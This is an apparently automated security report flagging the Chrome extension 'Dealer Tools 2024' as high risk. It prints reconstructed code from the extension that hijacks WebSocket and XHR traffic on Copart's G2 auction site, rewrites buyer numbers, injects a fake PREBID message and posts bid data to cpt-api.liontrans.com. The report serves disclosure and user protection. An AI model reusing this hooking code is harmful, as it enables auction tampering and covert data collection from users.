Is Dealer Tools 2024 safe?

High risk

Dealer Tools 2024 is high risk. The extension loads an auction bundle into the G2 page, replacing WebSocket/XHR handlers. It decodes messages, sets BUYERNO to 111111 for losing lots, posts bids to cpt-api.liontrans.com, and can publish a fake PREBID message.

lionauctionv0.1.55Chrome Web Store
75Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Auction bid state rewrite and external bid posting

The extension loads an auction bundle into the G2 page, replacing WebSocket/XHR handlers.

It decodes messages, sets BUYERNO to 111111 for losing lots, posts bids to cpt-api.liontrans.com, and can publish a fake PREBID message.

Severity
High unwanted
Type
Unexpected
CWE
CWE-506
Source
Dynamic sandbox
What actually happens
You did this

You open or bid in the G2 Auction workflow.

The behavior is tied to auction pages under g2auction.copart.com.

The extension did this

The extension takes over live auction message handling and bid-related API responses.

It rewrites buyer-number fields, records bid values, posts bid records to its API host, and can replay a generated PREBID message into the page.

Concrete fields handled by the bid-record and PREBID code paths
  • Lot identifier
    LOTNO 70845213 / lotId 70845213

    Identifies the specific auction lot tied to the bid update.

  • Bid amount
    maxBid 12500

    Shows the amount being tracked or submitted for a lot you are bidding on.

  • Buyer number
    BUYERNO 111111

    Links auction state to a buyer identity in the live auction message.

  • Sale timestamp
    saleDateMilliseconds 1714489200000

    Adds timing context for the auction event associated with the bid.

  • Publish topic
    topic bidTopic

    Marks the bid event path used when the extension publishes replacement bid data.

Captured request
POSThttps://cpt-api.liontrans.com/api/Bid/Bid

The shipped code posts JSON bid records through the extension's API wrapper; no captured request body was available to quote.

The code that does this

The API wrapper and bid-posting functions

Readable version

Readable API wrapper

g2auction.bundle.js (readable reconstruction from shipped code)
async function apiRequest(method, path, payload, options) { const send = async (accessToken) => { let url = 'https://cpt-api.liontrans.com/api/' + path; if (method === 'GET' && payload) url += `?${new URLSearchParams(payload)}`; try { const response = await fetch(url, { method, ...(method === 'POST' ? { body: JSON.stringify(payload) } : {}), headers: { Authorization: 'Bearer ' + accessToken, ...(options?.contentType ? { 'Content-Type': options.contentType } : { 'Content-Type': 'application/json; charset=utf-8' }) } }); if (response.status === 401) { const refreshed = await fetch('https://cpt-api.liontrans.com/api/Auth/Refresh', { method: 'post', body: JSON.stringify({ refreshToken: g.user.refreshToken }), headers: { 'Content-Type': 'application/json; charset=utf-8' } }).then((r) => r.json()); if (refreshed.succeeded) { const nextUser = { ...g.user, ...refreshed.data }; localStorage.setItem('extentionUser', nextUser); g.user = nextUser; return await send(g.user.accessToken); } h(); } else if (response.status !== 200) { fetch('https://cpt-api.liontrans.com/api/Bid/Log', { method: 'post', body: JSON.stringify({ data: `${path}; ${typeof payload === 'object' && JSON.stringify(payload)} ${response.status}` }), headers: { 'Content-Type': 'application/json; charset=utf-8' } }); } if (!options || !options?.contentType || options?.contentType === 'application/json') return await response.json(); return response; } catch (error) { console.error('error', error); } }; if (g.user) return await send(g.user.accessToken); h(); }

Readable Bid/Bid record submission

g2auction.bundle.js (readable reconstruction from shipped code)
async function postBidRecord(lotId, currentBid, maxBid, topic = 'test', saleDateMilliseconds) { y.post('Bid/Bid', { lotId, currentBid, maxBid, topic, saleDateMilliseconds }, { contentType: 'application/json' }); }

Readable PREBID replay

g2auction.bundle.js (readable reconstruction from shipped code)
async function sendPrebidMessageToUser(lotNumber, prebidAmount) { try { const sale = await (async function findSaleByLot(lotNumber) { try { const now = new Date(); const today = now.toISOString().split('T')[0]; const yesterday = new Date(now.setDate(now.getDate() - 1)).toISOString().split('T')[0]; const auctionKey = await fetch(`https://g2auction.copart.com/g2/api/v1/search/?fromDateTimeUTC=${yesterday}:2000&toDateTimeUTC=${today}:1959&key=${lotNumber}`).then((r) => r.json()).then((r) => r.data.filteredSales[0]); return b.auctions.find((auction) => auction.auctionKey == auctionKey); } catch (error) { return; } })(lotNumber); const chainName = b.auctionChains[sale.auctionKey]; if (!sale || !chainName) return; const message = { '@class': 'com.copart.auction.messagerecords.PREBIDMessage', EMPTY: false, FORMATNAME: 'PREBID', SITECODE: 'CPRTUS', BUYERST: '', EVENTCODE: 'PRCD', BUYERCTR: '', MINMET: 'Y', LOTNO: lotNumber, TOKEN: '', BUYERNO: '111111', APRFLG: 'N', TYPE: 'P', IPADDRESS: '', PREBID: prebidAmount }; const frame = `[{"d":[8,{"CNAME":"${chainName}","EID":[0,167],"Data":"${btoa(JSON.stringify(message))}","Tag":"UFJFQklE","Dictionary":{"sale":[0,"${sale.auctionKey}"],"auctionId":[1,[0,${sale.auctionId}]]},"h":{"pubHost":"10.151.17.64","pubName":"vb2usr","timeStamp":[400,1516266765]}}]}]`; console.warn('sendPrebidMesageToUser', frame); window.nirvanaClientOnMessage.call(window.nirvanaClient, { data: frame }); } catch (error) { console.error(error); } }
The code that does this

The WebSocket and XHR hooks that change auction state

Readable version

Readable Nirvana WebSocket replacement

g2auction.bundle.js (readable reconstruction from shipped code)
function installAuctionWebSocketHook() { try { const OriginalWebSocket = window.WebSocket; window.WebSocket = function(url, protocols) { const socket = new OriginalWebSocket(url, protocols); const originalSend = socket.send; console.warn('ws.url', socket.url); if (socket.url.includes('nirvana')) { window.nirvanaClient = socket; socket.addEventListener('open', function() { const originalOnMessage = socket.onmessage; window.nirvanaClientOnMessage = originalOnMessage; socket.onmessage = async function(event) { async function rewriteAuctionFrame(event) { const frame = JSON.parse(event.data); const encodedData = frame[0]?.d[1]?.Data || ''; const record = JSON.parse(atob(encodedData)); const lotNumber = parseInt(record.LOTNO); const amountField = { BIDREC: 'CURBID', CURITEM: 'STARTBID', PREBID: 'PREBID', STARTITEM: 'STARTAMT' }[record.FORMATNAME]; const trackedBid = b.userBids[lotNumber]; const incomingAmount = trackedBid ? Math.max(parseInt(record[amountField]), trackedBid.buyerBid) : parseInt(record[amountField]); if (record.BUYERNO == b.g2User?.buyer?.buyerNumber) { const stillWinning = trackedBid && incomingAmount <= trackedBid?.maxPrelimBid; record.BUYERNO = stillWinning ? b.g2User?.buyer?.buyerNumber : 111111; if (trackedBid) { trackedBid.buyerBid = incomingAmount; trackedBid.buyerWinning = 1; trackedBid.winning = stillWinning ? 1 : 0; trackedBid.maxPrelimBid = stillWinning ? incomingAmount : trackedBid.maxPrelimBid; } else { b.userBids[lotNumber] = { lotNumber, maxPrelimBid: 0, buyerBid: incomingAmount, buyerWinning: 1, winning: 0 }; } frame[0].d[1].Data = btoa(JSON.stringify(record)); } else if (trackedBid) { b.userBids[lotNumber].buyerWinning = 0; b.userBids[lotNumber].winning = 0; } console.warn('userBids', b.userBids); return JSON.stringify(frame); } const parsed = JSON.parse(event.data); const encodedData = parsed[0]?.d[1]?.Data || ''; if (encodedData) { const record = JSON.parse(atob(encodedData)); console.warn(record?.FORMATNAME, record); if (record?.FORMATNAME === 'BIDREC') return originalOnMessage.call(socket, { data: await rewriteAuctionFrame(event) }); if (record?.FORMATNAME === 'CURITEM') return originalOnMessage.call(socket, { data: await rewriteAuctionFrame(event) }); if (record?.FORMATNAME === 'PREBID') return originalOnMessage.call(socket, { data: await rewriteAuctionFrame(event) }); if (record?.FORMATNAME === 'STARTITEM') return originalOnMessage.call(socket, { data: await rewriteAuctionFrame(event) }); if (record?.FORMATNAME === 'SOLD') delete b.userBids[parseInt(record.LOTNO)]; } else if (parsed[0]?.d[0] == 5) { const chainName = parsed[0].d[1][2] || ''; const auctionKey = parsed[0].d[1][0].split('/')[1] || ''; b.auctionChains[auctionKey] = chainName; } originalOnMessage.call(this, { data: event.data }); }; }); socket.send = function(payload) { const params = payload.split('&').map((part) => part.split('=')).reduce((acc, [key, value]) => (acc[key] = decodeURIComponent(value), acc), {}); console.warn('send', params); if (params.T == v || params.T == k) { const bidPayload = JSON.parse(atob(params.D)); const lotNumber = bidPayload.LOTNO; const amount = bidPayload.AMOUNT; const trackedBid = b.userBids[lotNumber]; const auctionKey = params.J && params.J?.split(',')?.at(-1); const saleTimestamp = b.auctions.find((auction) => auction.auctionKey == auctionKey)?.saleTimestampEpochUTC || null; console.warn('auctionKey', auctionKey, saleTimestamp); if (trackedBid) { if (params.T == k && trackedBid.buyerWinning && !trackedBid.winning) { const replacementMax = amount == trackedBid.buyerBid ? w(amount) : Math.min(amount, P(trackedBid.buyerBid)); const recordedMax = amount == trackedBid.buyerBid ? w(amount) : amount; console.warn(`Outbid By ${replacementMax}`); trackedBid.maxPrelimBid = Math.max(recordedMax, trackedBid.maxPrelimBid); O(lotNumber, 0, recordedMax, '', saleTimestamp); (async function publishBid(topic, message) { y.post('Bid/PublishBid', { topic, message }, { contentType: 'application/json' }); })('bidTopic', JSON.stringify({ LotId: lotNumber, MaxBid: replacementMax })); if (amount > trackedBid.buyerBid) originalSend.call(socket, payload); return R(lotNumber, P(amount)); } const nextMax = amount == trackedBid.buyerBid ? w(amount) : amount; trackedBid.maxPrelimBid = Math.max(nextMax, trackedBid.maxPrelimBid); } else { b.userBids[lotNumber] = { lotNumber, maxPrelimBid: amount, buyerBid: amount, buyerWinning: 1, winning: 1 }; } O(lotNumber, 0, amount, '', saleTimestamp); } originalSend.call(socket, payload); }; } else { socket.addEventListener('open', function() { const originalOnMessage = socket.onmessage; window.nirvanaClientOnMessage = originalOnMessage; socket.onmessage = async function(event) { originalOnMessage.call(this, { data: event.data }); }; }); socket.send = function(payload) { (function inspectBinaryBid(payload) { try { let text = ''; const bytes = new Uint8Array(payload); const length = bytes.byteLength; for (let i = 0; i < length; i++) text += String.fromCharCode(bytes[i]); console.warn('sssssss', btoa(text)); try { const encoded = btoa(text); const embedded = JSON.stringify(atob(encoded)).match(/eyJ[A-Za-z0-9+/=]+/)[0]; const event = JSON.parse(atob(embedded)); if (event.event == 'bid' || event.event == 'prebid') { try { const bid = JSON.parse(atob(event.data)); const lotNumber = bid.LOTNO; const amount = bid.AMOUNT; const sale = event.sale; const saleTimestamp = b.auctions.find((auction) => auction.auctionKey == sale)?.saleTimestampEpochUTC || null; console.warn('auctionKey', sale, saleTimestamp); O(lotNumber, 0, amount, '', saleTimestamp); } catch (error) { console.warn(error.message); } } } catch (error) {} } catch (error) { console.warn(error); } })(payload); originalSend.call(socket, payload); }; } return socket; }; window.WebSocket.prototype = OriginalWebSocket.prototype; const timer = setInterval(() => { if (window.nirvanaClient) { clearInterval(timer); u(false); return; } console.log('ws not connected'); if (!document.querySelector('.ext-loader')) u(true); }, 5000); } catch (error) { console.error(error); u(true); } }

Readable XHR response rewriter

g2auction.bundle.js (readable reconstruction from shipped code)
function installAuctionXhrHook() { var OriginalXMLHttpRequest = window.XMLHttpRequest; window.XMLHttpRequest = function() { var request = new OriginalXMLHttpRequest(); var originalOpen = request.open; request.open = function(method, url) { if (url.startsWith('api/v1/watchlist/get/')) { async function replaceWatchlist() { return { metadata: { responseCode: 200, responseMessage: 'OK', additionalInfo: [] }, data: { watchList: b.watchlist.length > 0 ? b.watchlist : await S() } }; } M(request, replaceWatchlist); } else if (url.startsWith('api/v1/watchlist/add/')) { (async function addWatchlist(lotId) { await y.post('Watchlist/Add', { lotId }); await S(); })(url.split('/').at(-1)); } else if (url.startsWith('api/v1/watchlist/remove/')) { (async function removeWatchlist(lotId) { await y.post('Watchlist/Remove', { lotId }); await S(); })(url.split('/').at(-1)); } else if (url.startsWith('api/v1/myMaxBids/get/') && !url.includes('?v=')) { async function replaceMyMaxBids() { const [companyCode, yardNumber, laneCode] = url.replace('api/v1/myMaxBids/get/', '').split('/'); const sale = { companyCode, yardNumber, laneCode }; return { metadata: { responseCode: 200, responseMessage: 'OK', additionalInfo: [] }, data: { myMaxBids: (await j(sale)).data.myMaxBids.map((maxBid) => { const trackedBid = b.userBids[maxBid.lotNumber]; return trackedBid.maxPrelimBid == 0 ? null : trackedBid; }).filter((value) => value) } }; } A({ request, dataFn: replaceMyMaxBids }); } else if (url.startsWith('authenticate/api/v1/sale/messages/')) { async function rewriteSaleMessages(responseText) { try { const parsed = JSON.parse(responseText); const curItemMessage = parsed?.data?.saleMessages?.curItemMessage; const prebidMessagePerLot = parsed?.data?.saleMessages?.prebidMessagePerLot; const bidRecMessage = parsed?.data?.saleMessages?.bidRecMessage; for (const lotNumber in b.userBids) { if (prebidMessagePerLot && prebidMessagePerLot[lotNumber] && !b.userBids[lotNumber].winning) prebidMessagePerLot[lotNumber].BUYERNO = '111111'; if (curItemMessage && curItemMessage.LOTNO == lotNumber && curItemMessage.BUYERNO == b.g2User?.buyer?.buyerNumber && !b.userBids[lotNumber].winning) curItemMessage.BUYERNO = '111111'; if (bidRecMessage && bidRecMessage.LOTNO == lotNumber && bidRecMessage.BUYERNO == b.g2User?.buyer?.buyerNumber && !b.userBids[lotNumber].winning) curItemMessage.BUYERNO = '111111'; } return JSON.stringify(parsed); } catch (error) { console.error(error); return JSON.parse(responseText); } } M(request, rewriteSaleMessages); } else if (url.startsWith('api/v1/buyer/login/') && !url.includes('?v=')) { async function loadAuctionBids() { try { const auctionKey = url.replace('api/v1/buyer/login/', '').split('?')[0]; const auction = b.auctions.find((item) => item.auctionKey == auctionKey); await j(auction); } catch (error) { console.warn('auction loggin error', error); } } async function rewriteBuyerLogin(responseText) { try { const parsed = JSON.parse(responseText); const curItemMessage = parsed?.data?.saleMessages?.curItemMessage; const prebidMessagePerLot = parsed?.data?.saleMessages?.prebidMessagePerLot; const bidRecMessage = parsed?.data?.saleMessages?.bidRecMessage; for (const lotNumber in b.userBids) { if (prebidMessagePerLot && prebidMessagePerLot[lotNumber] && !b.userBids[lotNumber].winning) parsed.data.saleMessages.prebidMessagePerLot[lotNumber].BUYERNO = '111111'; if (curItemMessage && curItemMessage.LOTNO == lotNumber && curItemMessage.BUYERNO == b.g2User?.buyer?.buyerNumber && !b.userBids[lotNumber].winning) curItemMessage.BUYERNO = '111111'; if (bidRecMessage && bidRecMessage.LOTNO == lotNumber && bidRecMessage.BUYERNO == b.g2User?.buyer?.buyerNumber && !b.userBids[lotNumber].winning) curItemMessage.BUYERNO = '111111'; } return JSON.stringify(parsed); } catch (error) { console.error(error); return JSON.parse(responseText); } } M(request, rewriteBuyerLogin); A({ request, dataFn: loadAuctionBids }); } else if (url.startsWith('api/v1/login')) { async function rememberG2User(responseText) { const parsed = JSON.parse(responseText); b.g2User = parsed.data; } M(request, rememberG2User); } else if (url.startsWith('api/v1/sales')) { async function rememberAuctions(responseText) { try { const parsed = JSON.parse(responseText); b.auctions = parsed.data; } catch (error) { console.error(error); } } M(request, rememberAuctions); } originalOpen.apply(this, arguments); }; return request; }; }
Hosts involved in the observed bid workflow
    • cpt-api.liontrans.com

    Receives extension API calls for Bid/Bid records, Bid/PublishBid messages, bid lookups, watchlist changes, auth refreshes, and error logs.

    • g2auction.copart.com

    The auction site whose WebSocket frames and bid-related API responses are intercepted and rewritten in the page context.

What it can do

Permissions this extension asks for, as declared in version 0.1.55. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on copart.com

    *://*.copart.com/*

  • Store data in your browser

    storage

  • See the address and title of every tab you have open

    tabs

  • See, disable and uninstall your other extensions, including your security ones

    management

  • Route all of your browsing through a server of its choosing

    proxy

  • Watch every request your browser makes

    webRequest

  • Block and redirect the requests your browser makes

    declarativeNetRequest

  • Read and change cookies, including the ones that keep you signed in

    cookies

  • Attach to pages with the browser's debugger, which can read and rewrite anything on them

    debugger

  • Run its own code inside the pages you visit

    scripting

declarativeNetRequestWithHostAccesswebRequestAuthProvider
Updated 30 September 2026ndodgehgmbjpcggaoikoklaepniipfed